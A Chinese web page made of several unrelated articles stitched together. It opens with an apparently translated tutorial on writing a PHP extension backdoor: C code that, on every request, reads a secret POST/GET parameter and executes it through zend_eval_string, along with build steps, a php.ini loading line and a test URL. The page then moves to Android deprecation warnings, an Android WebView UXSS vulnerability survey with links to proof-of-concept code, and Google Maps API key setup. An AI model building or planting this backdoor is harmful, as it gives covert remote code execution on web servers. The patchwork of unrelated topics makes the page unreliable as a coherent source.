手把手教你编写基于PHP扩展库的后门教程
0x00 前言
今天我们将讨论编写基于PHP扩展库的后门。通常来说,大部分入侵者都会在脚本中留下自定义代码块后门。当然,这些东西很容易通过源代码的静态或动态分析找到。
利用PHP扩展库的好处显而易见:
1很难寻找 绕过disable_functions选项 有能力控制所有的代码 访问代码执行的API
但是我们需要有编辑PHP配置文件的能力。
0x01 细节
//【译者注:用linux两条命令搞定了,何必windows费这么大劲】
作为例子,我会用Windows来写。写扩展我用的Visual Studio 2012 Express版本。还需要的源代码最新版本,编译PHP库(可从同一来源收集)。为简单起见,我们需要是的php-5.5.15-Win32的 VC11-86和源PHP-5.5.15-src.zip
解压使用C编译PHP:PHP,源代码在C:PHP-SRC。
然后,你需要进行一些设置。
1)添加预处理器定义:
ZEND_DEBUG=0 ZTS=1 ZEND_WIN32 PHP_WIN32
预处理器定义
2)添加的目录,用于连接源:
C: PHP-SRCmain C: PHP-SRCend C: PHP-SRCTSRM C: PHP-SRC egex C: PHP-SRC
其他目录连接
3)添加其他目录中liboy php5ts.lib(C: PHP dev的)
其他目录库
4)添加连接库php5ts.lib。
装配额外的库
5)指定收集文件的路径。
保存配置文件
配置参数为Workspace扩展的开发后(详情可以在http://blog.slickedit.com/2007/09/creating-a- php-5-extension-with-visual-c-2005/找到),创建一个新的项目类型后门“控制台应用程序的Win32”。
在Visual StudioVyberem型“库DLL»项目”
选择合适类型
然后,从项目中删除不必要的文件。应该只需要backdoor.cpp,STDAFX.CPP和stdafx.h中。
在头文件stdafx.h中
:
#pragma once #ifndef STDAFX #define STDAFX #include "zend_config.w32.h" #include "php.h" #endif
现在,我们直接进入PHP扩展的代码。删除所有行,并添加所需的文件连接。
#include "stdafx.h" #include "zend_config.w32.h" #include "php.h"
如果workspace设置已经正确,警告就会消失。
当模块被初始化时,会有几个事件,其中每一个都在特定条件下发生。我们需要在查询执行时,去执行我们的代码。要做到这一点,你必须初始化我们所需要的功能,我给它命名为«hideme»。
PHP_RINIT_FUNCTION(hideme);
然后你可以去看模块的初始化。
zend_module_entry hideme_ext_module_entry = { STANDARD_MODULE_HEADER, "simple backdoor", NULL, NULL, NULL, PHP_RINIT(hideme), NULL, NULL, "1.0", STANDARD_MODULE_PROPERTIES }; ZEND_GET_MODULE(hideme_ext);
在这篇文章中,我们只需要加载中代码被执行即可,因此运行和卸载模块由空取代。
现在,你可以去看hideme的函数体。
PHP_RINIT_FUNCTION(hideme) { char* method = "_POST"; // 超全局数组,从中我们采取perametr和价值 char* secret_string = "secret_string"; //参数,这将是运行的代码 //【译者注:在原文作者的github代码中method是get,secret_string是execute,请大家按照github代码进行测试,不修改原文了】 zval** arr; char* code; if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) { HashTable* ht = Z_ARRVAL_P(*arr); zval** val; if (zend_hash_find(ht, secret_string, strlen(secret_string) + 1, (void**)&val) != FAILURE) { //查找散列表中所需的参数 code = Z_STRVAL_PP(val); //值 zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); //代码执行 } } return SUCCESS; }
注释应该比较清楚。最初,我们设置HTTP方法和参数secret_string。然后再寻找正确的数组参数,如果有的话,我们就从它的值中取指令,并通过zend_eval_string执行代码。
编译后的所得,即可作为一个扩展库。
下载源代码
https://github.com/akamajoris/php-extension-backdoor
0x02 测试
//以下为译者测试截图:
1http://127.0.0.1:1629/20140917/test.php?execute=phpinfo();
(因为原作者github代码设置的是execute)
Linux编译(kali)
1apt-get install php5-dev phpize && ./configure && make
在kali下测试一遍成功,我比较懒,直接chmod后把so复制到/var/www了哈哈
然后php.ini加上
1extension=/var/www/back.so
重启apache,测试成功
在Android 4.4.2下APP开发时,调试的时候出现setLatestEventInfo、Handler、SimpleDateFormat警告,查了一些资料之后原来是使用了一些过时不建议使用的方法。今天在做Android 4.4.2下的APP开发时,使用了Notification下的setLatestEventInfo()方法时,Eclipse却提示:“ 不建议使用类型 Notification 的方法setLatestEventInfo(Context, CharSequence, CharSequence, PendingIntent)”!
这是为什么呢?查询后得知:setLatestEventInfo该方法已被deprecate,不建议使用了。
/**
* @hide
*/
public Notification(Context context, int icon, CharSequence tickerText, long when,
CharSequence contentTitle, CharSequence contentText, Intent contentIntent)
{
this.when = when;
this.icon = icon;
this.tickerText = tickerText;
setLatestEventInfo(context, contentTitle, contentText,
PendingIntent.getActivity(context, 0, contentIntent, 0));
}
这个构造函数被hide,setLatestEventInfo方法也被deprecate,不建议使用,使用Notification.Builder即可。
在4.0.3平台也就是API Level 15中,使用Notification的setLatestEventInfo()函数时,也会显示成setLatestEventInfo()效果,查看文档发现,在API Level 11中,该函数已经被替代,不推荐使用了。
Android下setLatestEventInfo警告、Handler警告、SimpleDateFormat警告
在不同的版本下Notification使用有一些不同,涉及到改成Builder的使用,现在网上大多数资料还是API Level 11版本前的用法介绍,如果不熟悉的话,会绕一些弯路。
现在总结如下,希望对以后使用的程序员有所帮助。
低于API Level 11版本,也就是Android 2.3.3以下的系统中,setLatestEventInfo()函数是唯一的实现方法。前面的有关属性设置这里就不再提了,网上资料很多。
Intent intent = new Intent(this,MainActivity);
PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, intent, PendingIntent.FLAG_ONE_SHOT);
notification.setLatestEventInfo(context, title, message, pendingIntent);
manager.notify(id, notification);
高于API Level 11,低于API Level 16 (Android 4.1.2)版本的系统中,可使用Notification.Builder来构造函数。但要使用getNotification()来使notification实现。此时,前面版本在notification中设置的Flags,icon等属性都已经无效,要在builder里面设置。
Notification.Builder builder = new Notification.Builder(context)
.setAutoCancel(true)
.setContentTitle("title")
.setContentText("describe")
.setContentIntent(pendingIntent)
.setSmallIcon(R.drawable.ic_launcher)
.setWhen(System.currentTimeMillis())
.setOngoing(true);
notification=builder.getNotification();
高于API Level 16的版本,就可以用Builder和build()函数来配套的方便使用notification了。
Notification notification = new Notification.Builder(context)
.setAutoCancel(true)
.setContentTitle("title")
.setContentText("describe")
.setContentIntent(pendingIntent)
.setSmallIcon(R.drawable.ic_launcher)
.setWhen(System.currentTimeMillis())
.build();
【注意点】:
在构造notification的时候有很多种写法,但是要注意,用
Notification notification = new Notification();
这种构建方法的时候,一定要加上notification.icon这个设置,不然,程序虽然不会报错,但是会没有效果。
另外,补充下在实际android开发中遇到的一些警告以及解决方法:
1:Handler
// This Handler class should be static or leaks might occur: IncomingHandler
@SuppressLint("HandlerLeak")
private Handler mHandler = new Handler() {
@Override
public void handleMessage(Message msg) {
};
};
解决方法:
private Handler mHandler = new Handler(new Handler.Callback() {
@Override
public boolean handleMessage(Message msg) {
return false;
}
});
2:SimpleDateFormat
// To get local formatting use getDateInstance(), getDateTimeInstance(), or
// getTimeInstance(), or use new SimpleDateFormat(String template, Locale
// locale) with for example Locale.US for ASCII dates.
@SuppressLint("SimpleDateFormat")
SimpleDateFormat simpleDateFormat = new SimpleDateFormat(
"yyyy-MM-ddHH:mm:ss");
解决方法:
SimpleDateFormat newSimpleDateFormat = new SimpleDateFormat(
"yyyy年MM月dd日HH时mm分", Locale.getDefault());
3:new HashMap()
@SuppressLint("UseSparseArrays")
public static Map CMD_MAP = new HashMap();
警告原因:Use new SparseArray(...) instead for better performance
4:"String".toUpperCase(); "String".toLowerCase();
@SuppressLint("DefaultLocale")
boolean b = "String".toUpperCase().equals("STRING");
解决方法:
boolean b = "String".equalsIgnoreCase("STRING");
警告原因:Implicitly using the default locale is a common source of bugs: Use toUpperCase(Locale) instead
0x00 科普
WebView(网络视图)android中加载显示网页的重要组件,可以将其视为一个浏览器。在kitkat(android 4.4)以前使用WebKit渲染引擎加载显示网页,在kitkat之后使用谷歌自家内核chromium。
Uxss(Universal Cross-Site Scripting通用型XSS)UXSS是一种利用浏览器或者浏览器扩展漏洞来制造产生XSS的条件并执行代码的一种攻击类型。可以到达浏览器全局远程执行命令、绕过同源策略、窃取用户资料以及劫持用户的严重危害。
同源策略所谓同源是指,域名,协议,端口相同,浏览器或者浏览器扩展共同遵循的安全策略。详见: http://drops.wooyun.org/tips/151
0x01 事件
近段时间android UXSS漏洞持续性爆发涉及android应用包括主手机流浏览器、聊天软件等。下面截取几个案例。
WooYun: 搜狗手机浏览器跨域脚本执行漏洞之一
WooYun: 手机QQ安卓版两处跨域问题
WooYun: 猎豹/360/欧鹏/百度/遨游等手机浏览器安卓客户端UXSS(影响android4.4以下版本)
WooYun: UC浏览器Android最新版(4.4)跨域漏洞(不受系统版本限制)
引用某厂商对此漏洞的回应
非常感谢您的报告,此问题属于andriod webkit的漏洞,请尽量使用最新版的andriod系统。
的确漏洞产生的原因是因为kitkat(android 4.4)之前webview组件使用webview内核而遗留的漏洞。使用最新的android系统当然安全性要更高而且运行更流畅,但是有多少人能升级或者使用到相对安全的android版本了。下图来自谷歌官方2014.09.09的统计数据。
看起来情况不是太糟糕,有24.5%的android用户是处于相对安全的版本下。但是官方数据的是来google play明显和大陆水土不服。国内就只能使用相对靠谱的本土第三方统计了。下图是umeng八月的统计情况
能使用到相对安全的android系统的用户不到8%,那么问题来了~我要换一个什么的样的手机了。忘记我是个?潘苛耍?剖只?薹ㄉ?兜 kitkat也没钱换手机。那就只能选择使用相对安全的应用来尽量避免我受到攻击。于是我们收集了一些命中率较高的POC来验证到底哪些app更靠谱一些。
https://code.google.com/p/chromium/issues/detail?id=37383
https://code.google.com/p/chromium/issues/detail?id=90222
https://code.google.com/p/chromium/issues/detail?id=98053
https://code.google.com/p/chromium/issues/detail?id=117550
https://code.google.com/p/chromium/issues/detail?id=143437
https://code.google.com/p/chromium/issues/detail?id=143439
CVE-2014-6041
为了方便大家也能够方便测试其他应用我们尝试写出一个自动化的脚本来完成此项工作。
0x02 测试
http://zone.wooyun.org/content/15792
下图为360浏览器在android 4.2.2下的测试结果
下图为搜狗浏览器在android 4.4.3下的测试结果
测试代码将放入github供大家参考,欢迎大神来修改
代码地址: https://github.com/click1/uxss
在线测试地址: http://uxss.sinaapp.com/index.php
0x03 对比
我们对主流手机浏览器进行了横向对比,测试对象包括:UC浏览器、搜狗浏览器、百度浏览器、360安全浏览器、欧鹏浏览器、遨游云浏览器、猎豹浏览器。测试结果见下图。
0x04 建议
厂商(仅供参考):
1、服务端禁止iframe嵌套 X-FRAME-OPTIONS:DENY 。详见:http://drops.wooyun.org/papers/104
2、客户端使用 setAllowFileAccess(flase) 方法禁止webview访问本地域。详见: setAllowFileAccess(boolean)
3、客户端使用onPageStarted (WebView view, String url, Bitmap favicon) 方法在跳转钱进行跨域判断。详见[onPageStarted (WebView view, String url, Bitmap favicon)][8]
4、客户端对iframe object标签属性进行过滤。
用户:
1、使用漏洞较少的app,及时更新app。
2、不要随意打开一些莫名其妙的链接。
3、有钱你就买新手机吧,android L马上出来了。(可以通过google play推送安全补丁,呵呵)
本文人产来分享一篇Android App安全加固行业分析报告,原来的内容是ppt文件,为了方便大家浏览,直接把图片截取下来放文章上了。鉴于当前Android App安全加固市场火爆,特整合一个当前行业内较流行的安全加固厂商的安全加固产品介绍,希望能为大家拨开迷雾,见安全加固之真章!
手机开发中地图应用是相当广范的,现在我们来看看Android开发中如何获取google Map API Key的方法。地图应用使用com.google.android.maps这个包。通过MapView控件使用。但是之前需要申请一个用于开发的API Key,这个key会和当前的计算机用户绑定。然后通过这个key去官方申请就可以拿到一个开发用的api key了
<1>首先找到用户的debug.keystore文件,可以再”运行“里面搜debug.keystore;如:c:usersAdministrator.androiddebug.keystore
<2>接下来获取MD5指纹,网上很多说的有误。貌似新版默认是出现sha1加密的。通过添加-v 参数会显示所有。
首先运行cmd,在dos界面里,输入
keytool -list -v -keystore c:usersBystander.androiddebug.keystore
命令,然后会让你输入keystore密码,
输入:android,之后,会出现指纹认证MD5,如下:
<3>去官方生成真正的api key
访问 Sign Up for the Android Maps API 输入那串值,同意条款,确定后要求用Google帐号登录。然后会拿到一个key。ok
相关文章
- 今天小编在这里就来给Painter的这一款软件的使用者们来说一说绘制红衣喝酒男水粉画效果的教程,各位想知道具体绘制步骤的使用者,那么下面就快来跟着小编一起看一看教程...2016-09-14
iPhone6怎么激活?两种苹果iPhone6激活教程图文详解
iPhone6新机需要激活后才可以正常使用,那么对于小白用户来说,iPhone6如何激活使用呢?针对此问题,本文就为大家分别介绍Wifi无线网络激活以及iPhone6连接电脑激活这两种有效的方法,希望本文能够帮助到大家...2022-09-14- 今天小编在这里就来给各位photoshop的这一款软件的使用者们来说下制作雨中野外孤独行走的一头牛海报的教程,各位想知道具体制作方法的使用者们,大家就快来看一看小编给...2016-09-14
- 由于要使用mikoomi mongodb plugin插件,所以需要php对mongodb的扩展支持,默认通过源安装的php并没有mongodb的扩展支持,具体可以通过php -m|grep mongo 验证 。这里就结...2016-11-25
- 今天小编在这里就来给Painter的这一款软件的使用者们来说一下绘制帅气卡通魔法王子漫画的具体教程,各位想知道绘制步骤的使用者,那么下面就快来跟着小编一起看一看教程...2016-09-14
- 今天小编在这里就来给各位Illustrator的这一款软件的使用者们来说说鼠绘堆雪人的孩童矢量插画的教程,各位想知道具体绘制方法的使用者们,那么各位就快来跟着小编来看看...2016-09-14
- 支付宝支付在国内算是大家了,我们到处都可以使用支付宝了,下文整理介绍的是在安卓app应用中使用支付宝进行支付的开发例子。 之前讲了一篇博客关与支付宝集成获取...2016-09-20
- 今天小编在这里就来给美图秀秀的这一款软件的使用者们来说下究竟该怎么给照片天空加蓝天白云的教程,各位想知道具体制作步骤的,那么下面就来跟着小编一起看看吧。 ...2016-09-14
- 今天小编在这里就来给llustrator的这一款软件的使用者们来说一说绘制扁平化风格卡通警察护士空姐肖像的教程,各位想知道具体绘制步骤的使用者们,那么下面就快来跟着小编...2016-09-14
- 今天小编在这里就来给Illustrator的这一款软件的使用者们来说一下绘制一个方形的录音机图标的教程,各位想知道具体绘制方法的使用者们,那么下面就来看一下小编给大家分...2016-09-14
- 今天小编在这里就来给photoshop的这一款软件的使用者们来说一说简单制作一个搞笑的换脸表情包的教程,各位想知道具体制作方法的使用者们,那么大家就快来看一看教程吧。...2016-09-14
- 今天小编在这里就来给各位photoshop的这一款软件的使用者们来说说给手绘画调色变换场景的后期教程,各位想知道具体后期处理步骤的使用者们,那么大家就快来跟着小编来看...2016-10-02
- 今天小编在这里就来给美图秀秀的这一款软件的使用者们来说一下让你胸丰满起来的处理教程,各位想知道具体处理步骤的,那么下面就快来跟着小编一起看一下教程吧。 给...2016-09-14
- 今天小编在这里就来给Painter的这一款软件的使用者们来说一下绘制雷神传插画的教程,各位想知道具体绘制步骤的使用者,那么下面就快来跟着小编一起看看绘制方法吧。 ...2016-09-14
- 安装curl扩展支持https是非常的重要现在许多的网站都使用了https了,下面我们来看一篇关于PHP安装curl扩展支持https例子吧。 问题: 线上运行的lamp服务器,默认yu...2016-11-25
- 联合索引又叫复合索引。对于复合索引:Mysql从左到右的使用索引中的字段,一个查询可以只使用索引中的一部份,但只能是最左侧部分。例如索引是key index (a,b,c). 可以支持a | a,b| a,b,c 3种组合进行查找,但不支持 b,c进...2015-11-24
- 这篇文章主要给大家介绍的是关于Lua语言新手入门的简单教程,文中通过示例代码一步步介绍的非常详细,对各位新手们的入门提供了一个很方便的教程,需要的朋友可以参考借鉴,下面随着小编来一起学习学习吧。...2020-06-30
- 一、下载 mysqlsla [root@localhost tmp]# wget http://hackmysql.com/scripts/mysqlsla-2.03.tar.gz--19:45:45-- http://hackmysql.com/scripts/mysqlsla-2.03.tar.gzResolving hackmysql.com... 64.13.232.157Conn...2015-11-24
- 今天小编在这里就来给photoshop的这一款软件的使用者们来说说用素材合成古典园林场景教程,各位想知道到底该怎么制作的,那么就快来一起看一下吧。 给各位photoshop...2016-09-14
- php类的使用实例教程 <?php /** * Class program for yinghua05-2 * designer :songsong */ class Template { var $tpl_vars; var $tpl_path; var $_deb...2016-11-25